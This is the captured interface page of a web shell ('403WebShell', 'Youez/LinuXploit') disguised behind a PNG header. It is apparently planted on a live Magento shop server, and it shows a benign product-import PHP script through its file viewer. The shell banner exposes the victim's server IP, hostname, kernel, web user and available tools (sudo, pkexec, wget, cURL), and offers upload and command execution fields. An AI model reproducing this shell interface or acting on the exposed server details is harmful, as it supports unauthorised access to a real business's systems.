‰PNG  IHDRwSȚ-tEXtCommentNxplo403WebShell
403Webshell
Server IP : 144.76.1.235  /  Your IP : 216.73.216.244
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux einkaufsring.com 5.15.0-179-generic #189-Ubuntu SMP Tue May 5 18:20:56 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.3.16
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/shop.einkaufsring.com/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/shop.einkaufsring.com/scripts/import-full.php
#!/usr/bin/env php
<?php
declare(strict_types=1);

// Silence PHP deprecations for CLI run (keeps real errors visible)
error_reporting(E_ALL & ~E_DEPRECATED & ~E_USER_DEPRECATED);
ini_set('display_errors', '1'); // still show real errors

/**
 * Import products (Add/Update, skip errors) via Product importer,
 * then attach grouped-product children by writing to link tables directly,
 * then REINDEX all indexers and FLUSH CACHE.
 *
 * Default source: <magento-root>/var/import/exportmain.csv
 * Override with:  --in=/path/to/file.csv
 */

$mageRoot = realpath(__DIR__ . '/..');
chdir($mageRoot);
require $mageRoot . '/app/bootstrap.php';

use Magento\Framework\App\Bootstrap;
use Magento\Framework\App\Area;
use Magento\Framework\App\State;
use Magento\Framework\Filesystem;
use Magento\Framework\App\ResourceConnection;
use Magento\Framework\App\Cache\Manager as CacheManager;
use Magento\ImportExport\Model\Import;
use Magento\ImportExport\Model\Import\Source\Csv as CsvSource;
use Magento\ImportExport\Model\Import\ErrorProcessing\ProcessingErrorAggregatorInterface as ErrorAgg;
use Magento\Indexer\Model\Indexer\CollectionFactory as IndexerCollectionFactory;
use Magento\CatalogImportExport\Model\Import\Product as ProductImporter;

/* ---------- Helpers ---------- */

function sniff_delimiter(string $line): string {
    $candidates = [",", ";", "\t", "|"];
    $best = ","; $max = 0;
    foreach ($candidates as $d) { $c = substr_count($line, $d); if ($c > $max) { $max = $c; $best = $d; } }
    return $max > 0 ? $best : ",";
}

/** Parse "sku1,sku2" or "sku1=1,sku2=2" or "sku1:1" */
function parse_grouped_assoc_list(string $val): array {
    $val = trim($val);
    if ($val === '') return [];
    $items = preg_split('/\s*,\s*/', $val);
    $out = [];
    foreach ($items as $item) {
        if ($item === '') continue;
        if (strpos($item, '=') !== false) {
            [$sku, $qty] = array_map('trim', explode('=', $item, 2));
            $q = (float) ($qty === '' ? 1 : $qty);
        } elseif (strpos($item, ':') !== false) {
            [$sku, $qty] = array_map('trim', explode(':', $item, 2));
            $q = (float) ($qty === '' ? 1 : $qty);
        } else {
            $sku = trim($item);
            $q = 1.0;
        }
        if ($sku !== '') $out[] = [$sku, $q];
    }
    return $out;
}

/**
 * From a (cleaned) CSV file, build [parentSku => [[childSku, qty], ...]]
 * Recognizes type columns: 'type', 'type_id', 'product_type'
 * Recognizes assoc columns: 'associated_skus', '_associated_sku'
 */
function collect_grouped_relations_from_csv(string $csvPath): array {
    $fh = fopen($csvPath, 'rb');
    if ($fh === false) {
        throw new \RuntimeException("Cannot open CSV: {$csvPath}");
    }
    // Always comma here because we normalize earlier
    $header = fgetcsv($fh, 0, ',', '"', "\\");
    if ($header === false) {
        fclose($fh);
        throw new \RuntimeException("Cannot read header from: {$csvPath}");
    }
    $map = [];
    $idx = array_flip(array_map(fn($h) => strtolower(trim((string)$h)), $header));

    $skuIdx   = $idx['sku'] ?? null;
    $typeIdx  = $idx['type'] ?? ($idx['type_id'] ?? ($idx['product_type'] ?? null));
    $assocIdx = $idx['associated_skus'] ?? ($idx['_associated_sku'] ?? null);

    if ($skuIdx === null || $typeIdx === null || $assocIdx === null) { fclose($fh); return []; }

    while (($row = fgetcsv($fh, 0, ',', '"', "\\")) !== false) {
        $sku  = isset($row[$skuIdx])  ? trim((string)$row[$skuIdx])  : '';
        $type = isset($row[$typeIdx]) ? strtolower(trim((string)$row[$typeIdx])) : '';
        if ($sku === '' || $type !== 'grouped') continue;

        $assocRaw = isset($row[$assocIdx]) ? trim((string)$row[$assocIdx]) : '';
        if ($assocRaw === '') continue;

        $pairs = parse_grouped_assoc_list($assocRaw);
        if ($pairs) $map[$sku] = $pairs;
    }
    fclose($fh);
    return $map;
}

/* ---------- Main ---------- */

try {
    @ini_set('memory_limit', '2048M');
    @ini_set('max_execution_time', '0');

    // Args
    $inPathArg = null;
    foreach ($argv as $arg) {
        if (strpos($arg, '--in=') === 0) $inPathArg = substr($arg, 5);
    }

    // Bootstrap / DI
    $bootstrap = Bootstrap::create(BP, $_SERVER);
    $om = $bootstrap->getObjectManager();

    /** @var State $appState */
    $appState = $om->get(State::class);
    try { $appState->setAreaCode(Area::AREA_ADMINHTML); } catch (\Exception $e) {}

    /** @var Filesystem $fs */
    $fs = $om->get(Filesystem::class);
    $varPath = $fs->getDirectoryRead(\Magento\Framework\App\Filesystem\DirectoryList::VAR_DIR)->getAbsolutePath();

    // Resolve CSV path
    $defaultImportFile = rtrim($varPath, '/').'/import/exportmain.csv';
    $inputCsv = $inPathArg
        ? (strpos($inPathArg, '/') === 0 ? $inPathArg : ($mageRoot . '/' . $inPathArg))
        : $defaultImportFile;

    if (!is_file($inputCsv) || !is_readable($inputCsv)) {
        throw new \RuntimeException("Input CSV not found/readable: {$inputCsv}");
    }

    // --- Pre-clean: BOM + delimiter sniff + remove 'entity' column; rewrite to comma-delimited
    $cleanCsv = $inputCsv;
    $tmpDir  = rtrim($varPath, '/').'/import';
    if (!is_dir($tmpDir)) { @mkdir($tmpDir, 0775, true); }
    $tmpOut  = $tmpDir . '/_clean_import_' . date('Ymd_His') . '.csv';

    // Peek for BOM
    $fh = fopen($inputCsv, 'rb');
    if ($fh === false) throw new \RuntimeException("Cannot open input CSV for reading: {$inputCsv}");
    $buf = fgets($fh, 4096);
    if ($buf === false) { fclose($fh); throw new \RuntimeException("Empty CSV: {$inputCsv}"); }
    $hasBom = strncmp($buf, "\xEF\xBB\xBF", 3) === 0;
    fclose($fh);

    // Reopen after BOM
    $fh = fopen($inputCsv, 'rb'); if ($fh === false) throw new \RuntimeException("Reopen failed: {$inputCsv}");
    if ($hasBom) { fread($fh, 3); }

    // Sniff delimiter
    $firstLine = '';
    while (($firstLine = fgets($fh)) !== false) {
        $trim = trim($firstLine, "\r\n"); if ($trim !== '') { $firstLine = $trim; break; }
    }
    if ($firstLine === '' || $firstLine === false) { fclose($fh); throw new \RuntimeException("CSV has no header line: {$inputCsv}"); }
    $delimiter = sniff_delimiter($firstLine);

    // Parse header
    fclose($fh);
    $fh = fopen($inputCsv, 'rb'); if ($fh === false) throw new \RuntimeException("Reopen failed: {$inputCsv}");
    if ($hasBom) { fread($fh, 3); }
    $header = fgetcsv($fh, 0, $delimiter, '"', "\\");
    if ($header === false) { fclose($fh); throw new \RuntimeException("Unable to parse CSV header from {$inputCsv}"); }

    // Remove any 'entity' column if present
    $entityIndex = -1;
    foreach ($header as $i => $col) {
        if (strcasecmp(trim((string)$col), 'entity') === 0) { $entityIndex = $i; break; }
    }

    $needsClean = $hasBom || $entityIndex !== -1 || $delimiter !== ',';
    if ($needsClean) {
        $out = fopen($tmpOut, 'wb');
        if ($out === false) { fclose($fh); throw new \RuntimeException("Cannot open temp CSV for writing: {$tmpOut}"); }
        $newHeader = $header;
        if ($entityIndex !== -1) array_splice($newHeader, $entityIndex, 1);
        fputcsv($out, $newHeader, ",");

        while (($row = fgetcsv($fh, 0, $delimiter, '"', "\\")) !== false) {
            if ($entityIndex !== -1 && array_key_exists($entityIndex, $row)) {
                array_splice($row, $entityIndex, 1);
            }
            fputcsv($out, $row, ",");
        }
        fclose($out);
        fclose($fh);
        $cleanCsv = $tmpOut;
        fwrite(STDOUT, "Cleaned CSV -> delimiter '{$delimiter}'"
            . ($hasBom ? ", BOM stripped" : "")
            . ($entityIndex !== -1 ? ", 'entity' column removed" : "")
            . ". Using: {$cleanCsv}\n");
    } else {
        fclose($fh);
        fwrite(STDOUT, "CSV looks clean (delimiter ',', no BOM, no 'entity' column). Using: {$cleanCsv}\n");
    }

    // === Import via Product importer directly (bypasses broker) ===
    /** @var CsvSource $source */
    $source = $om->create(CsvSource::class, ['file' => $cleanCsv]);

    /** @var ProductImporter $productImporter */
    $productImporter = $om->create(ProductImporter::class);
    $allowedErrors = 1000000;

    $productImporter->setParameters([
        'behavior'                 => Import::BEHAVIOR_ADD_UPDATE,
        'validation_strategy'      => ErrorAgg::VALIDATION_STRATEGY_SKIP_ERRORS,
        'allowed_error_count'      => $allowedErrors,
        'field_separator'          => ',',
        'multiple_value_separator' => ',',
    ]);
    $productImporter->setSource($source);
    $productImporter->getErrorAggregator()->initValidationStrategy(
        ErrorAgg::VALIDATION_STRATEGY_SKIP_ERRORS,
        $allowedErrors
    );

    $productImporter->validateData();
    if (!$productImporter->importData()) {
        $errs = $productImporter->getErrorAggregator()->getAllErrors();
        fwrite(STDERR, "WARN: importData() returned false with " . count($errs) . " errors. Continuing.\n");
    }

    // === Gather grouped relations from CSV ===
    $relations = collect_grouped_relations_from_csv($cleanCsv);

    if ($relations) {
        /** @var ResourceConnection $resource */
        $resource = $om->get(ResourceConnection::class);
        $conn = $resource->getConnection();

        $tLink      = $resource->getTableName('catalog_product_link');
        $tAttr      = $resource->getTableName('catalog_product_link_attribute');
        $tInt       = $resource->getTableName('catalog_product_link_attribute_int');
        $tDec       = $resource->getTableName('catalog_product_link_attribute_decimal');
        $tVarchar   = $resource->getTableName('catalog_product_link_attribute_varchar');
        $tProduct   = $resource->getTableName('catalog_product_entity');

        // link_type_id for GROUPED is 3
        $linkTypeId = 3;

        // Build list of all SKUs (cast to string for safety)
        $allSkus = array_keys($relations);
        foreach ($relations as $pairs) {
            foreach ($pairs as $p) { $allSkus[] = $p[0]; }
        }
        $allSkus = array_values(array_unique($allSkus, SORT_STRING));

        if ($allSkus) {
            // Fetch product IDs for all involved SKUs
            $bind = str_repeat('?,', count($allSkus) - 1) . '?';
            $rows = $conn->fetchPairs("SELECT sku, entity_id FROM {$tProduct} WHERE sku IN ($bind)", $allSkus);

            // normalize to lowercase keys (cast to string first)
            $skuToId = [];
            foreach ($rows as $sku => $id) {
                $skuToId[strtolower((string)$sku)] = (int)$id;
            }

            // Resolve attribute IDs and their data types for 'position' and 'qty'
            $attrRows = $conn->fetchAll(
                "SELECT product_link_attribute_id, product_link_attribute_code, data_type
                 FROM {$tAttr} WHERE link_type_id = ?", [$linkTypeId]
            );
            $attrMap = [];
            foreach ($attrRows as $r) {
                $attrMap[strtolower((string)$r['product_link_attribute_code'])] = [
                    'id'   => (int)$r['product_link_attribute_id'],
                    'type' => strtolower((string)$r['data_type'])
                ];
            }
            $attrIdPos   = $attrMap['position']['id'] ?? null;
            $attrTypePos = $attrMap['position']['type'] ?? null;
            $attrIdQty   = $attrMap['qty']['id'] ?? null;
            $attrTypeQty = $attrMap['qty']['type'] ?? null;

            if (!$attrIdPos || !$attrIdQty) {
                throw new \RuntimeException("Grouped link attributes not found (need 'position' and 'qty').");
            }

            // Helper to get value table by data type
            $valTable = function(string $type) use ($tInt,$tDec,$tVarchar): string {
                return match ($type) {
                    'int'     => $tInt,
                    'decimal' => $tDec,
                    'varchar' => $tVarchar,
                    default   => $tInt,
                };
            };
            $posTable = $valTable($attrTypePos ?? 'int');
            $qtyTable = $valTable($attrTypeQty ?? 'decimal');

            // Start transaction
            $conn->beginTransaction();
            try {
                foreach ($relations as $parentSku => $pairs) {
                    $pid = $skuToId[strtolower((string)$parentSku)] ?? null;
                    if (!$pid) {
                        fwrite(STDERR, "WARN: grouped parent SKU not found: {$parentSku}\n");
                        continue;
                    }

                    // Remove existing grouped links for this parent
                    $oldLinkIds = $conn->fetchCol(
                        "SELECT link_id FROM {$tLink} WHERE product_id = ? AND link_type_id = ?",
                        [$pid, $linkTypeId]
                    );
                    if ($oldLinkIds) {
                        $in = str_repeat('?,', count($oldLinkIds)-1) . '?';
                        $conn->query("DELETE FROM {$posTable} WHERE link_id IN ($in)", $oldLinkIds);
                        $conn->query("DELETE FROM {$qtyTable} WHERE link_id IN ($in)", $oldLinkIds);
                        $conn->query("DELETE FROM {$tLink} WHERE link_id IN ($in)", $oldLinkIds);
                    }

                    // Insert new links
                    $position = 0;
                    foreach ($pairs as $pair) {
                        [$childSku, $qty] = $pair;
                        $cid = $skuToId[strtolower((string)$childSku)] ?? null;
                        if (!$cid) {
                            fwrite(STDERR, "WARN: grouped child SKU not found: {$childSku} (parent {$parentSku})\n");
                            continue;
                        }

                        // create link
                        $conn->insert($tLink, [
                            'product_id'        => $pid,
                            'linked_product_id' => $cid,
                            'link_type_id'      => $linkTypeId,
                        ]);
                        $linkId = (int)$conn->lastInsertId();

                        // write position
                        $conn->insert($posTable, [
                            'product_link_attribute_id' => $attrIdPos,
                            'link_id'                   => $linkId,
                            'value'                     => (int)$position,
                        ]);

                        // write qty
                        $conn->insert($qtyTable, [
                            'product_link_attribute_id' => $attrIdQty,
                            'link_id'                   => $linkId,
                            'value'                     => (float)$qty,
                        ]);

                        $position++;
                    }

                    fwrite(STDOUT, "Grouped links saved for parent {$parentSku} (" . $position . " children)\n");
                }

                $conn->commit();
            } catch (\Throwable $txe) {
                $conn->rollBack();
                throw $txe;
            }
        } else {
            fwrite(STDOUT, "No grouped relationships detected after parsing; skipping binding.\n");
        }
    } else {
        fwrite(STDOUT, "No grouped relations found in CSV; skipping grouped binding step.\n");
    }

    /* === Reindex ALL to make everything visible === */
    /** @var IndexerCollectionFactory $indexerCollectionFactory */
    $indexerCollectionFactory = $om->get(IndexerCollectionFactory::class);
    $indexerCollection = $indexerCollectionFactory->create();

    $failed = [];
    foreach ($indexerCollection as $indexer) {
        try {
            $title = $indexer->getTitle() ?: $indexer->getId();
            fwrite(STDOUT, "Reindexing: {$title}\n");
            $indexer->reindexAll();
        } catch (\Throwable $ie) {
            $failed[] = $indexer->getId() . ': ' . $ie->getMessage();
        }
    }
    if ($failed) {
        fwrite(STDERR, "WARN: Some indexers failed:\n - " . implode("\n - ", $failed) . "\n");
    }

    /* === Flush cache after reindexing === */
    try {
        /** @var CacheManager $cacheManager */
        $cacheManager = $om->get(CacheManager::class);
        $types = $cacheManager->getAvailableTypes();
        $cacheManager->flush($types);
        fwrite(STDOUT, "Cache flushed (" . count($types) . " cache types cleared)\n");
    } catch (\Throwable $e) {
        fwrite(STDERR, "WARN: Failed to flush cache: " . $e->getMessage() . "\n");
    }

    fwrite(STDOUT, "OK: Imported from {$inputCsv}" . ($cleanCsv !== $inputCsv ? " (cleaned via {$cleanCsv})" : "") . ", grouped children bound, reindexed all, and cache flushed.\n");
    exit(0);

} catch (\Throwable $e) {
    fwrite(STDERR, "ERROR: {$e->getMessage()}\n");
    exit(1);
}

Youez - 2016 - github.com/yon3zu
LinuXploit